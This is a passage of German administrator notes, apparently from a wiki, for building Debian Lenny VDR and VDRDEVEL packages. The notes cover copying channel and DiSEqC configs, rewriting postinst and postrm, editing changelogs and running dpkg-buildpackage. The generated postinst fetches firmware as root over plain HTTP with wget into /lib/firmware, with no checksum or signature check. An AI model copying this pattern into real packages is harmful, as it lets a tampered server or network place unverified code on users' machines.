 mv astra19.2-astra23.5_diseqc.conf diseqc.conf.astra19.2-astra23.5&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/hotbird13.0-astra23.5_diseqc.conf .&lt;br /&gt;
 mv hotbird13.0-astra23.5_diseqc.conf diseqc.conf.hotbird13.0-astra23.5&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-hotbird13.0_diseqc.conf .&lt;br /&gt;
 mv astra19.2-hotbird13.0_diseqc.conf diseqc.conf&lt;br /&gt;
 chmod 644 channels.conf*&lt;br /&gt;
 chmod 644 diseqc.conf*&lt;br /&gt;
 cd debian/&lt;br /&gt;
 mv vdr.postinst vdr.postinst.old&lt;br /&gt;
 grep -v &#039;exit 0&#039; vdr.postinst.old &amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -d /video ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;     mkdir /video&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;chown vdr:vdr /video&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ -d /var/lib/video.00 ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;     mv -f /var/lib/video.00/* /video &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;     rm -rf /var/lib/video.00&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;     ln -s /video /var/lib/video.00&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-ttpci-01.fw-2622 ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/dvb-ttpci-01.fw-2622 -O /lib/firmware/dvb-ttpci-01.fw-2622&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ -e /lib/firmware/dvb-ttpci-01.fw ]; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;rm /lib/firmware/dvb-ttpci-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -s /lib/firmware/dvb-ttpci-01.fw-2622 /lib/firmware/dvb-ttpci-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-114xxx-cmmb-01.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-114xxx-cmmb-01.fw -O /lib/firmware/sms1xxx-hcw-114xxx-cmmb-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-dvbt-01.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-dvbt-01.fw -O /lib/firmware/sms1xxx-hcw-55xxx-dvbt-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-dvbt-02.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-dvbt-02.fw -O /lib/firmware/sms1xxx-hcw-55xxx-dvbt-02.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-dvbt-03.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-dvbt-03.fw -O /lib/firmware/sms1xxx-hcw-55xxx-dvbt-03.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-isdbt-02.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-isdbt-02.fw -O /lib/firmware/sms1xxx-hcw-55xxx-isdbt-02.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-isdbt-03.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-isdbt-03.fw -O /lib/firmware/sms1xxx-hcw-55xxx-isdbt-03.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-usb-dib0700-1.10.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/nova-t-stick/dvb-usb-dib0700-1.10.fw -O /lib/firmware/dvb-usb-dib0700-1.10.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-usb-dib0700-1.20.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/nova-t-stick/dvb-usb-dib0700-1.20.fw -O /lib/firmware/dvb-usb-dib0700-1.20.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-usb-nova-t-usb2-01.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/nova-t-usb2/dvb-usb-nova-t-usb2-01.fw -O /lib/firmware/dvb-usb-nova-t-usb2-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-usb-nova-t-usb2-02.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/nova-t-usb2/dvb-usb-nova-t-usb2-02.fw -O /lib/firmware/dvb-usb-nova-t-usb2-02.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt.tmp /var/tmp/pmt.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt0.tmp /var/tmp/pmt0.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt1.tmp /var/tmp/pmt1.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt2.tmp /var/tmp/pmt2.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt3.tmp /var/tmp/pmt3.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt4.tmp /var/tmp/pmt4.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt5.tmp /var/tmp/pmt5.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;exit 0&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 rm vdr.postinst.old&lt;br /&gt;
&lt;br /&gt;
Dann in vdr.postrm folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
    purge)&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
    purge)&lt;br /&gt;
        if [ -L /var/lib/video.00 ] ; then&lt;br /&gt;
             rm /var/lib/video.00&lt;br /&gt;
        fi&lt;br /&gt;
&lt;br /&gt;
Nun die changelog kopieren:&lt;br /&gt;
 mv changelog changelog.bkp&lt;br /&gt;
 cp -v /linux/repository/dists/lenny/$(uname -m)/opp-vdr/opp-vdr-patches/vdr/multipatch/debian/changelog .&lt;br /&gt;
 chmod 644 changelog&lt;br /&gt;
Nun bearbeiten und dann das Backup loeschen:&lt;br /&gt;
 rm changelog.bkp&lt;br /&gt;
&lt;br /&gt;
Backup kopieren:&lt;br /&gt;
 rm /linux/repository/dists/lenny/$(uname -m)/opp-vdr/opp-vdr-patches/vdr/multipatch/debian/changelog&lt;br /&gt;
 cp -v changelog /linux/repository/dists/lenny/$(uname -m)/opp-vdr/opp-vdr-patches/vdr/multipatch/debian/changelog&lt;br /&gt;
&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdr&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
 PATCHVARIANT=multipatch dpkg-buildpackage -rfakeroot -us -uc -sa -tc&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdr&lt;br /&gt;
 cp -v *.deb *.changes vdr_1.* /mirror/debian.oppserver.net/incoming/vdr/lenny/&lt;br /&gt;
&lt;br /&gt;
Nun die Revision fuer die Plugins anpassen:&lt;br /&gt;
 expr `cat /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdr/revision` + 1 &amp;gt; /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdr/revision&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdr /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VDRDEVEL (1.7.x)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als User (opp) ausfuehren:&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdrdevel /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 sudo aptitude purge dvb-s2api-liplianin-source dvb-s2api-liplianin-headers&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.vdrdevel-build /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Folgendes muss nur gemacht werden wenn es eine neue make-special-vdr version gibt:&lt;br /&gt;
 mkdir /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel/make-special-vdr&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel/make-special-vdr&lt;br /&gt;
 sudo apt-get source make-special-vdr&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 rm -fv make-special-vdr*.tar.gz &amp;amp;&amp;amp; rm -fv make-special-vdr*.dsc&lt;br /&gt;
&lt;br /&gt;
debian/changelog anpassen.&lt;br /&gt;
&lt;br /&gt;
 cd make-special-vdr-*&lt;br /&gt;
 dpkg-buildpackage -rfakeroot -us -uc -sa -tc&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel/make-special-vdr&lt;br /&gt;
 cp -v make-special-vdr*.deb make-special-vdr*.changes make-special-vdr*.dsc make-special-vdr*.tar.gz /mirror/debian.oppserver.net/incoming/vdrdevel/lenny/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdrdevel /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 sudo aptitude purge make-special-vdr&lt;br /&gt;
 sudo aptitude install make-special-vdr&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.vdrdevel-build /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel&lt;br /&gt;
 sudo apt-get source vdr&lt;br /&gt;
 sudo apt-get build-dep vdr&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 rm -fv *.diff.gz &amp;amp;&amp;amp; rm -fv *.dsc&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
 mv channels.conf channels.conf.old&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra19&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra23/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra23&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/hotbird13/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.hotbird13&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19+hotbird13/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra19+hotbird13&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19+hotbird13+astra23/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra19+hotbird13+astra23&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19+astra23/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.astra19+astra23&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/hotbird13+astra23/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.hotbird13+astra23&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/terrestrisch/nrw/opp/channels.conf .&lt;br /&gt;
 mv channels.conf channels.conf.opp.terr&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19/opp/channels.conf .&lt;br /&gt;
 mv diseqc.conf diseqc.conf.old&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-hotbird13.0_diseqc.conf .&lt;br /&gt;
 mv astra19.2-hotbird13.0_diseqc.conf diseqc.conf.astra19.2-hotbird13.0&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-hotbird13.0-astra23.5_diseqc.conf .&lt;br /&gt;
 mv astra19.2-hotbird13.0-astra23.5_diseqc.conf diseqc.conf.astra19.2-hotbird13.0-astra23.5&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-hotbird13.0-astra23.5-astra28.0_diseqc.conf .&lt;br /&gt;
 mv astra19.2-hotbird13.0-astra23.5-astra28.0_diseqc.conf diseqc.conf.astra19.2-hotbird13.0-astra23.5-astra28.0&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-astra23.5_diseqc.conf .&lt;br /&gt;
 mv astra19.2-astra23.5_diseqc.conf diseqc.conf.astra19.2-astra23.5&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/hotbird13.0-astra23.5_diseqc.conf .&lt;br /&gt;
 mv hotbird13.0-astra23.5_diseqc.conf diseqc.conf.hotbird13.0-astra23.5&lt;br /&gt;
 cp /linux/pub/dvb/bouquets/vdr/sat/astra19.2-hotbird13.0_diseqc.conf .&lt;br /&gt;
 mv astra19.2-hotbird13.0_diseqc.conf diseqc.conf&lt;br /&gt;
 chmod 644 channels.conf*&lt;br /&gt;
 chmod 644 diseqc.conf*&lt;br /&gt;
 cd debian/&lt;br /&gt;
 mv vdr.postinst vdr.postinst.old&lt;br /&gt;
 grep -v &#039;exit 0&#039; vdr.postinst.old &amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -d /video ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;     mkdir /video&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;chown vdr:vdr /video&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ -d /var/lib/video.00 ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;     mv -f /var/lib/video.00/* /video &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;     rm -rf /var/lib/video.00&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;     ln -s /video /var/lib/video.00&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-ttpci-01.fw-2622 ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/dvb-ttpci-01.fw-2622 -O /lib/firmware/dvb-ttpci-01.fw-2622&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ -e /lib/firmware/dvb-ttpci-01.fw ]; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;rm /lib/firmware/dvb-ttpci-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -s /lib/firmware/dvb-ttpci-01.fw-2622 /lib/firmware/dvb-ttpci-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-114xxx-cmmb-01.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-114xxx-cmmb-01.fw -O /lib/firmware/sms1xxx-hcw-114xxx-cmmb-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-dvbt-01.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-dvbt-01.fw -O /lib/firmware/sms1xxx-hcw-55xxx-dvbt-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-dvbt-02.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-dvbt-02.fw -O /lib/firmware/sms1xxx-hcw-55xxx-dvbt-02.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-dvbt-03.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-dvbt-03.fw -O /lib/firmware/sms1xxx-hcw-55xxx-dvbt-03.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-isdbt-02.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-isdbt-02.fw -O /lib/firmware/sms1xxx-hcw-55xxx-isdbt-02.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/sms1xxx-hcw-55xxx-isdbt-03.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/sms1xxx/sms1xxx-hcw-55xxx-isdbt-03.fw -O /lib/firmware/sms1xxx-hcw-55xxx-isdbt-03.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-usb-dib0700-1.10.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/nova-t-stick/dvb-usb-dib0700-1.10.fw -O /lib/firmware/dvb-usb-dib0700-1.10.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-usb-dib0700-1.20.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/nova-t-stick/dvb-usb-dib0700-1.20.fw -O /lib/firmware/dvb-usb-dib0700-1.20.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-usb-nova-t-usb2-01.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/nova-t-usb2/dvb-usb-nova-t-usb2-01.fw -O /lib/firmware/dvb-usb-nova-t-usb2-01.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;if [ ! -e /lib/hotplug/dvb-usb-nova-t-usb2-02.fw ] ; then&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;wget http://dvb.oppserver.net/unix/firmware/nova-t-usb2/dvb-usb-nova-t-usb2-02.fw -O /lib/firmware/dvb-usb-nova-t-usb2-02.fw&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;fi&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt.tmp /var/tmp/pmt.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt0.tmp /var/tmp/pmt0.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt1.tmp /var/tmp/pmt1.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt2.tmp /var/tmp/pmt2.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt3.tmp /var/tmp/pmt3.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt4.tmp /var/tmp/pmt4.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;ln -sf /tmp/pmt5.tmp /var/tmp/pmt5.tmp&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 echo &#039;exit 0&#039; &amp;gt;&amp;gt; vdr.postinst&lt;br /&gt;
 rm vdr.postinst.old&lt;br /&gt;
&lt;br /&gt;
Dann in vdr.postrm folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
    purge)&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
    purge)&lt;br /&gt;
        if [ -L /var/lib/video.00 ] ; then&lt;br /&gt;
             rm /var/lib/video.00&lt;br /&gt;
        fi&lt;br /&gt;
&lt;br /&gt;
Nun die changelog kopieren:&lt;br /&gt;
 mv changelog changelog.bkp&lt;br /&gt;
 cp -v /linux/repository/dists/lenny/$(uname -m)/opp-vdr/opp-vdr-patches/vdrdevel/multipatch/debian/changelog .&lt;br /&gt;
 chmod 644 changelog&lt;br /&gt;
Nun bearbeiten und dann das Backup loeschen:&lt;br /&gt;
 rm changelog.bkp&lt;br /&gt;
&lt;br /&gt;
Backup kopieren:&lt;br /&gt;
 rm /linux/repository/dists/lenny/$(uname -m)/opp-vdr/opp-vdr-patches/vdrdevel/multipatch/debian/changelog&lt;br /&gt;
 cp -v changelog /linux/repository/dists/lenny/$(uname -m)/opp-vdr/opp-vdr-patches/vdrdevel/multipatch/debian/changelog&lt;br /&gt;
&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
 PATCHVARIANT=multipatch SPECIAL_VDR_SUFFIX=devel dpkg-buildpackage -rfakeroot -us -uc -sa -tc -Rmake-special-vdr&lt;br /&gt;
